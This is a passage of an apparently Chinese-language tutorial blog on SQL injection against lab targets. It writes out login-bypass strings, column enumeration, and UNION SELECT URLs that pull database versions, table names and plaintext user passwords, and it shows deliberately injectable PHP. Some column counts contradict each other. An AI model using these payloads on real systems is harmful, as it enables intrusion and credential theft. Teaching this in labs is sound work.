&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251022155932358.png"&gt;&lt;/p&gt;
&lt;p&gt;如果用户数据以任何方式包含在 SQL 语句中而没有经过清理，发生 SQL 注入的可能性非常高。让我们通过一些例子进一步分析。在正常登录中， 当提交“1”作为查询的要素时，实际在数据库中执行的代码如下所示：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$query&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;select * from users where id = &amp;#39;1&amp;#39;;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Burp抓包后还可以直接发送到intruder模块配合sql注入字典直接测试。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251022163002439.png"&gt;
返回数据比较长的都是注入成功有内容的，可以注入的。
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251022163242105.png"&gt;&lt;/p&gt;
&lt;h2 id="身份验证绕过"&gt;身份验证绕过
&lt;/h2&gt;&lt;p&gt;身份验证绕过是利用 SQL 注入漏洞的经典示例，展示了恶意用户操纵数据库的危险性。考虑上一节中的代码示例。如果我们能够将自己的代码注入到 SQL 语句中，我们如何能够以有利于我们的方式修改查询？&lt;/p&gt;
&lt;p&gt;这是正常的使用场景：合法用户向应用程序提交他们的查询ID，用户名和密码。应用程序使用这些值查询数据库。SQL 语句在 where 子句中使用 and 逻辑运算符。因此，数据库只会返回具有给定用户名和匹配密码的用户记录。&lt;/p&gt;
&lt;p&gt;正常的 SQL 查询如下所示：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-sql" data-lang="sql"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;select&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;users&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;where&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;1&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;如果我们控制作为 $id 传入的值，我们可以通过提交 &lt;code&gt;1' or 1=1;#&lt;/code&gt; 作为我们的用户名来破坏查询的逻辑，这将创建如下查询：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-sql" data-lang="sql"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;select&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;users&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;where&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;1&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;or&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="o"&gt;#&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;井号字符（#）是 MySQL/MariaDB 中的注释标记。它有效地删除了语句的其余部分，所以我们剩下：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-sql" data-lang="sql"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;select&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;users&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;where&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;1&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;or&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;SQL中单引号和井号可以作为注释和分段，所以如果输入万能密码 1 &amp;rsquo; or 1=1;# 的话。&lt;/p&gt;
&lt;p&gt;可以看到 1‘ 和原本查询语句开头的 id = &amp;rsquo; 组成了一个完整的语句，而此时又带入了or 后面的内容，为了不让原本的结尾的 &amp;lsquo;;中的引号引起语法错误，使用了#注释掉后面的内容，所以# 号后面被SQL数据库视为注释内容没有执行，所以结尾的引号不会引起报错，而我们又成功执行了 or 1=1;的内容。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251022161159494.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251022155448777.png"&gt;&lt;/p&gt;
&lt;p&gt;我们可以将其解释为&amp;quot;显示id为 1 或 1 等于 1 的用户的所有列和行&amp;quot;。由于&amp;quot;1=1&amp;quot;条件始终评估为真，因此将返回所有行。简而言之，通过引入 or 子句和&amp;quot;1=1&amp;quot;条件，该语句将返回 users 表中的所有记录，创建一个有效的&amp;quot;密码检查&amp;quot;。&lt;/p&gt;
&lt;p&gt;这足以绕过身份验证吗？这取决于情况。我们已经操纵查询返回 users 表中的所有记录。应用程序代码决定接下来会发生什么。某些编程语言具有查询数据库并期望单个记录的函数。如果这些函数获得多行，它们将生成错误。其他函数可能可以很好地处理多行。在没有应用程序源代码或使用试错法的情况下，我们无法知道会发生什么。&lt;/p&gt;
&lt;p&gt;如果当我们的 payload 返回多行时遇到错误，我们可以使用 LIMIT 语句指示查询返回固定数量的记录：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-sql" data-lang="sql"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;select&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;users&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;where&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;1&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;or&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;LIMIT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="o"&gt;#&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251022161651556.png"&gt;&lt;/p&gt;
&lt;p&gt;为了试验这些查询及其对数据库的影响，我们可以使用 MySQL 用户名和密码直接连接到 靶机的数据库，并直接执行 SQL 语句：&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251022161802956.png"&gt;&lt;/p&gt;
&lt;p&gt;假如是在登录界面，而我们不知道密码的情况下，可以用这个万能密码和LIMIT语法只返回第一个用户（一般就是admin管理员）的用户名和密码，通过包含&amp;quot;or 1=1 LIMIT 1;&amp;ldquo;子句并注释掉查询的其余部分来欺骗应用程序让我们进入。我们不确切知道查询的样子，但&amp;quot;or&amp;quot;子句将评估为真，因此会导致查询返回记录。我们将包含&amp;quot;LIMIT&amp;quot;子句以保持简单并仅返回一条记录。我们将在&amp;quot;username&amp;quot;字段中提交我们的 payload，如果我们成功操纵了查询，我们应该获得一个有效的已认证会话。&lt;/p&gt;

 &lt;blockquote&gt;
 &lt;p&gt;&lt;strong&gt;如何防止 SQL 注入？&lt;/strong&gt; 一个天真的方法可能是在清理用户输入时删除所有单引号字符。然而，有时单引号应该被视为有效输入，例如姓氏。
最好的方法是使用参数化查询，也称为预处理语句（prepared statements）。此功能允许开发人员在其 SQL 语句中放置参数或占位符。然后将用户输入与语句一起提供，数据库将值绑定到语句，在 SQL 语句代码和数据值之间创建一个分离层。这可以防止用户提供的数据操纵 SQL 代码。大多数主要数据库系统和编程语言都支持预处理语句。&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;blockquote class="alert alert-note"&gt;
 &lt;div class="alert-header"&gt;
 &lt;span class="alert-icon"&gt;📝&lt;/span&gt;
 &lt;span class="alert-title"&gt;注意&lt;/span&gt;
 &lt;/div&gt;
 &lt;div class="alert-body"&gt;
 &lt;p&gt;下面的内容只作为理论查看，教材部分命令不再适用新的环境。推荐看专题[[sqli-labs 靶场合集 WP|sqli-labs]] 练习，搞懂所有的SQL操作。&lt;/p&gt;
 &lt;/div&gt;
 &lt;/blockquote&gt;
&lt;h2 id="枚举数据库"&gt;枚举数据库
&lt;/h2&gt;&lt;p&gt;我们还可以使用 SQL 注入攻击来枚举数据库。当我们开始构建更复杂的 SQL 注入 payload 时，我们需要这些信息。例如，如果我们要从列和表中提取数据，我们需要知道列名和表名。这有助于我们执行更精确的数据提取。&lt;/p&gt;
&lt;p&gt;这会导致 SQL 语法错误，表明存在潜在的 SQL 注入漏洞。&lt;/p&gt;
&lt;h3 id="列数枚举"&gt;列数枚举
&lt;/h3&gt;&lt;p&gt;我们可以向查询添加 order by 子句进行简单枚举。此子句告诉数据库按一列或多列中的值对查询结果进行排序。我们可以在查询中使用列名或列索引。&lt;/p&gt;
&lt;p&gt;让我们提交以下 URL：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;http://10.11.0.22/debug.php?id=1 order by 1
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;此查询指示数据库根据第一列中的值对结果进行排序。如果查询中至少有一列，则查询有效，页面将正常呈现而不会出错。我们可以提交多个查询，每次递增 order by 子句，直到查询生成错误，表明已超过相关查询返回的最大列数。请记住，查询可以选择表中的所有列或仅选择列的子集。如果我们无法访问源查询，则需要依赖这种试错方法。&lt;/p&gt;
&lt;p&gt;由于我们需要任意次数地迭代列号，我们应该使用 Burp Suite 的 Repeater 工具自动化查询。&lt;/p&gt;
&lt;p&gt;为此，我们必须首先启动 Burp Suite，关闭 Intercept 并针对我们的 Windows 目标启动 URL。在 Proxy &amp;gt; HTTP history 中，我们应该看到我们想要重复的请求：&lt;/p&gt;
&lt;p&gt;接下来，我们将右键单击该请求并选择 Send to Repeater。该请求现在应该显示在 Repeater 选项卡下。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251022163433614.png"&gt;&lt;/p&gt;
&lt;p&gt;请注意，该请求已进行 URL 编码，并显示为&amp;quot;id=1%20order%20by%201&amp;rdquo;。这不应影响我们的查询。我们可以点击 Send 提交查询：&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251022163503071.png"&gt;&lt;/p&gt;
&lt;p&gt;响应看起来正常。我们可以使用 Response 窗格下的搜索框搜索&amp;quot;Error&amp;quot;，并验证响应主体中没有匹配项。&lt;/p&gt;
&lt;p&gt;接下来，我们可以递增 order_by 子句并再次发送查询，直到收到错误消息。我们可以使用 Response 窗格下的搜索框在响应中突出显示错误：&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251022164144430.png"&gt;&lt;/p&gt;
&lt;p&gt;order by 子句在第三次迭代时产生错误，我们知道查询返回包含2列的结果集。
这和数据库中原本的数据8列不一样，因为网页上只选取了Firstname 和 Surname两列的数据。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251022163840064.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251022164732268.png"&gt;&lt;/p&gt;
&lt;h2 id="理解输出的布局"&gt;理解输出的布局
&lt;/h2&gt;&lt;p&gt;现在我们知道表中有多少列，我们可以使用此信息通过 UNION 语句提取更多数据。UNION 允许我们向原始查询添加第二个 select 语句，扩展我们的能力，但每个 select 语句必须返回相同数量的列。&lt;/p&gt;
&lt;p&gt;根据我们的枚举，我们知道查询选择了2列。但是，网页上只显示两列。我们的下一步是确定显示哪些列。如果我们使用 union 来提取有用的数据，我们希望确保数据将被显示。&lt;/p&gt;
&lt;p&gt;我们需要更好地理解我们的输出，以便开始构建有意义的数据库提取。首先，让我们了解一下页面中显示了哪些列。我们将使用 UNION 来做到这一点。我们可以指定字面值，而不是从表中查找值。由于我们有三列，我们将在 payload 中添加&amp;quot;union all select 1, 2&amp;quot;。这个新的 select 语句将返回一行，包含三列，值为 1、2 。我们的 payload 现在是：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;http://192.168.224.1:8888/vulnerabilities/sqli/?id=1+union+all+select+1%2C+2&amp;amp;Submit=Submit#
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251022170124687.png"&gt;&lt;/p&gt;
&lt;p&gt;页面显示不同列的位置，如下所示：&lt;/p&gt;
&lt;p&gt;我们可以看到第一列未显示，第二列显示在 name 字段中，第三列显示在 Comment 字段中。Comment 字段有更多空间，因此这是我们未来漏洞利用输出的合理位置。&lt;/p&gt;

 &lt;blockquote&gt;
 &lt;p&gt;&lt;strong&gt;提示：&lt;/strong&gt; 如果对此有任何不清楚的地方，现在是再次直接连接到数据库并尝试这些查询的好时机。您不需要成为经验丰富的数据库管理员就能利用 SQL 注入，但您对 SQL 和这些查询正在做什么越熟悉，从 SQL 错误消息到成功利用 SQL 注入漏洞就越容易。&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251022165727275.png"&gt;&lt;/p&gt;
&lt;h2 id="从数据库中提取数据"&gt;从数据库中提取数据
&lt;/h2&gt;&lt;p&gt;我们现在可以开始从数据库中提取信息。以下示例使用特定于 MariaDB 的命令。但是，大多数其他数据库提供类似的功能，语法略有不同。无论我们针对什么数据库软件，最好了解特定于平台的命令。&lt;/p&gt;
&lt;p&gt;例如，要输出 MariaDB 的版本，我们可以使用此 URL：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;http://10.11.0.22/debug.php?id=1 union all select 1, 2, @@version
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;这应该在 name 字段中输出&amp;quot;2&amp;quot;，在 comment 字段中输出数据库版本号：&lt;/p&gt;
&lt;p&gt;很好。看起来正在工作。接下来，让我们使用此查询输出当前数据库用户：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;http://10.11.0.22/debug.php?id=1 union all select 1, 2, user()
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;此查询显示正在使用 root 用户进行数据库查询：&lt;/p&gt;
&lt;p&gt;information_schema 存储有关数据库的信息，如表名和列名。我们可以使用它来获取数据库的布局，以便我们可以制作更好的 payload 来提取敏感数据。查询如下所示：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;http://10.11.0.22/debug.php?id=1 union all select 1, 2, table_name from information_schema.tables
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;这应该输出大量数据，其中大部分引用有关 MariaDB 中默认对象的信息。它还将包括表名，但我们需要滚动浏览输出以找到它们。&lt;/p&gt;
&lt;p&gt;users 表看起来特别有趣。让我们针对该表并使用以下查询检索列名：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;http://10.11.0.22/debug.php?id=1 union all select 1, 2, column_name from information_schema.columns where table_name=&amp;#39;users&amp;#39;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;这会输出 users 表的所有列名：&lt;/p&gt;
&lt;p&gt;我们知道原始查询选择三列，网页显示第二列和第三列。如果我们更新 union payload，我们可以在第二列中显示用户名，在第三列中显示密码。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;http://10.11.0.22/debug.php?id=1 union all select 1, username, password from users
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;这将在 name 字段中输出数据库用户名，在 comments 字段中输出密码：&lt;/p&gt;
&lt;p&gt;太好了。我们不仅获得了用户名和密码，而且密码都是明文的。我们可以通过登录管理页面来验证这些信息。&lt;/p&gt;
&lt;p&gt;我们可以查看源代码来验证我们通过黑盒测试推断出的内容：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="mi"&gt;36&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;?&lt;/span&gt;&lt;span class="nx"&gt;php&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="mi"&gt;37&lt;/span&gt; &lt;span class="k"&gt;include&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;database.php&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="mi"&gt;38&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;isset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;id&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="mi"&gt;39&lt;/span&gt; &lt;span class="nv"&gt;$sql&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;SELECT id, name, text FROM feedback WHERE id=&amp;#34;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;id&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="mi"&gt;40&lt;/span&gt; &lt;span class="nv"&gt;$result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$conn&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="na"&gt;query&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$sql&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="mi"&gt;41&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nv"&gt;$result&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="mi"&gt;42&lt;/span&gt; &lt;span class="nx"&gt;trigger_error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;An error occured: &amp;#39;&lt;/span&gt; &lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$conn&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="na"&gt;error&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="mi"&gt;43&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$result&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="na"&gt;num_rows&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="mi"&gt;44&lt;/span&gt; &lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$row&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$result&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="na"&gt;fetch_assoc&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="mi"&gt;45&lt;/span&gt; &lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt; &amp;#34;&lt;/span&gt; &lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$row&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;name&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$row&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;text&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="mi"&gt;46&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="mi"&gt;47&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;No results. Specify an id.&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="mi"&gt;48&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="mi"&gt;49&lt;/span&gt; &lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;No results. Specify an id in your URL like ?id=1.&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
